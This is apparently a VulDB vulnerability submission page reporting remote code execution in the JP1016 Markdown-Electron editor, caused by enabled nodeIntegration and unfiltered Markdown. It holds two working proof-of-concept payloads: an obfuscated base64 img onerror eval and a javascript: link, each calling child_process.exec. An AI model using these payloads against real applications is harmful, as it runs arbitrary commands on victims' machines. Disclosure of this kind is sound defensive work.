Enviar #92098: Incorrect electron configuration causes RCEinformación

TítuloIncorrect electron configuration causes RCE
DescripciónnodeIntegration: true decide Node APIs are enabled in renderer. And Markdown Editor does not filter dangerous operations. When we use this software to open the unknown markdwon file, it may cause Remote code execution (RCE). EXP # 0 click <img src=# onerror='eval(new Buffer(`amF2YXNjcmlwdDpyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY2FsYycsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57YWxlcnQoJ1lvdSB3ZXJlIGhhY2tlZC4nKX0p`, `base64`).toString())'> # 1 click <a href="javascript:require('child_process').exec('calc', (error, stdout, stderr)=>{alert('You were hacked.')})">CLICK</a> For more details, please click the announcement.
Fuente⚠️ https://github.com/JP1016/Markdown-Electron/issues/3
Usuario
 Tom23 (UID 41413)
Sumisión2023-02-20 13:17 (hace 4 años)
Moderación2023-02-24 09:00 (4 days later)
EstadoAceptado
Entrada de VulDB221738 [JP1016 Markdown-Electron escalada de privilegios]
Puntos20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!